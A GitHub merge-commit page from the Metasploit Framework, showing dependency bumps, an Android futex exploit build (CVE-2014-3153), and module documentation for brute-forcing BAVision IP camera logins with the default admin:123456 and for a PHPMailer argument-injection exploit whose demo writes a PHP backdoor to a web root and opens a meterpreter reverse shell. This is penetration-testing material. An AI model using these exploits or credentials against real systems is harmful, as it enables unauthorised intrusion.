Skip to content

Commit abab1f1

Browse files
wchen-r7wchen-r7
committed
Merge master to cisco_cve_2016_6433 and make sure I have the latest
2 parents 7046040 + 24f7959 commit abab1f1

File tree

44 files changed

+2195
-999
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

44 files changed

+2195
-999
lines changed

‎Gemfile.lock

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.13.11)
4+
metasploit-framework (4.13.14)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -16,7 +16,7 @@ PATH
1616
metasploit-model
1717
metasploit-payloads (= 1.2.6)
1818
metasploit_data_models
19-
metasploit_payloads-mettle (= 0.1.4)
19+
metasploit_payloads-mettle (= 0.1.6)
2020
msgpack
2121
nessus_rest
2222
net-ssh
@@ -180,7 +180,7 @@ GEM
180180
postgres_ext
181181
railties (~> 4.2.6)
182182
recog (~> 2.0)
183-
metasploit_payloads-mettle (0.1.4)
183+
metasploit_payloads-mettle (0.1.6)
184184
method_source (0.8.2)
185185
mime-types (3.1)
186186
mime-types-data (~> 3.2015)
@@ -192,7 +192,7 @@ GEM
192192
multi_test (0.1.2)
193193
multipart-post (2.0.0)
194194
nessus_rest (0.1.6)
195-
net-ssh (4.0.0)
195+
net-ssh (4.0.1)
196196
network_interface (0.0.1)
197197
nokogiri (1.7.0.1)
198198
mini_portile2 (~> 2.1.0)
@@ -273,7 +273,7 @@ GEM
273273
metasm
274274
rex-core
275275
rex-text
276-
rex-socket (0.1.2)
276+
rex-socket (0.1.3)
277277
rex-core
278278
rex-sslscan (0.1.1)
279279
rex-socket
@@ -326,7 +326,7 @@ GEM
326326
windows_error (0.0.2)
327327
xpath (2.0.0)
328328
nokogiri (~> 1.3)
329-
yard (0.9.5)
329+
yard (0.9.7)
330330

331331
PLATFORMS
332332
ruby

‎data/exploits/CVE-2014-3153.elf

-17.3 KB
Binary file not shown.

‎data/exploits/CVE-2014-3153.so

29.5 KB
Binary file not shown.

‎documentation/modules/auxiliary/scanner/http/bavision_cam_login.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
This module allows you to log into an BAVision IP Camera's web server.
2+
3+
The instructions shipped with the camera do not mention clearly regarding the existence of the
4+
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
5+
password is changed, the account could also be bruteforced since there is no policy for lockouts.
6+
7+
8+
## Vulnerable Application
9+
10+
The web server is built into the IP camera. Specifically, this camera was tested during development:
11+
12+
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
13+
14+
http://goo.gl/pHAqS1
15+
16+
## Verification Steps
17+
18+
1. Read the instructions that come with the IP camera to set it up
19+
2. Find the IP of the camera (in lab, your router should have info about this)
20+
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
21+
4. Set usernames and passwords
22+
5. Do: ```run```
23+
24+
## Options
25+
26+
**TRYDEFAULT**
27+
28+
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.

‎documentation/modules/exploit/multi/http/phpmailer_arg_injection.md

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
4+
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
5+
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
6+
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
7+
exploitation can take a few minutes.
8+
9+
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
10+
11+
## Verification Steps
12+
13+
1. Install a vulnerable PHPMailer
14+
2. Start msfconsole
15+
3. `use exploit/multi/http/phpmailer_arg_injection`
16+
4. Set the TARGETURI and WEB_ROOT options as applicable
17+
5. `exploit`
18+
6. Verify the module yields a PHP meterpreter session in < 5 minutes
19+
7. Verify the malicious PHP file was automatically removed
20+
21+
## Scenarios
22+
23+
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
24+
25+
```
26+
msf (S:0 J:0) exploit(php_mailer) > options
27+
28+
Module options (exploit/linux/http/php_mailer):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 192.168.90.134 yes The target address
34+
RPORT 8080 yes The target port
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
TARGETURI / yes Path to the application root
37+
TRIGGERURI no Path to the uploaded payload
38+
VHOST no HTTP server virtual host
39+
WEB_ROOT /www yes Path to the web root
40+
41+
42+
43+
Payload options (php/meterpreter/reverse_tcp):
44+
45+
Name Current Setting Required Description
46+
---- --------------- -------- -----------
47+
LHOST 192.168.90.134 yes The listen address
48+
LPORT 4444 yes The listen port
49+
50+
51+
Exploit target:
52+
53+
Id Name
54+
-- ----
55+
0 Automatic
56+
57+
58+
59+
msf (S:0 J:0) exploit(php_mailer) > rexploit
60+
[*] Reloading module...
61+
62+
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
63+
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
64+
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
65+
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
66+
[+] [2016.12.29-17:04:48] Successfully found the payload
67+
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
68+
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
69+
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
70+
[+] [2016.12.29-17:06:10] Successfully triggered the payload
71+
72+
73+
meterpreter > sysinfo
74+
Computer : 90f0c8e8dbe4
75+
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
76+
Meterpreter : php/linux
77+
78+
meterpreter >
79+
```

‎external/source/exploits/CVE-2014-3153/Android.mk

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir)
33

44
include $(CLEAR_VARS)
55

6-
LOCAL_MODULE := exploit
7-
LOCAL_SRC_FILES := exploit.c
8-
LOCAL_CFLAGS := -fno-stack-protector -O0
6+
LOCAL_MODULE := debugexploit
7+
LOCAL_SRC_FILES := futex_requeue.c main.c
8+
LOCAL_LDFLAGS += -llog
9+
LOCAL_CFLAGS += -DDEBUG
10+
LOCAL_CFLAGS += -fno-stack-protector -O0
911
include $(BUILD_EXECUTABLE)
1012

13+
include $(CLEAR_VARS)
14+
15+
LOCAL_CFLAGS += -fno-stack-protector -O0
16+
LOCAL_MODULE := exploit
17+
LOCAL_SRC_FILES := futex_requeue.c main.c
18+
19+
include $(BUILD_SHARED_LIBRARY)
20+
21+

‎external/source/exploits/CVE-2014-3153/Makefile

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,16 @@
22
all: install
33

44
build:
5-
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
5+
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
66

77
install: build
8-
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
8+
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
99

10-
test: build
11-
adb push libs/armeabi/exploit /data/local/tmp/exploit
12-
adb shell "cd /data/local/tmp; ./exploit id"
10+
push: build
11+
adb push libs/armeabi/debugexploit /data/local/tmp/futex
12+
13+
run: push
14+
adb shell "/data/local/tmp/futex"
1315

1416
clean:
1517
rm -rf libs

0 commit comments

Comments
 (0)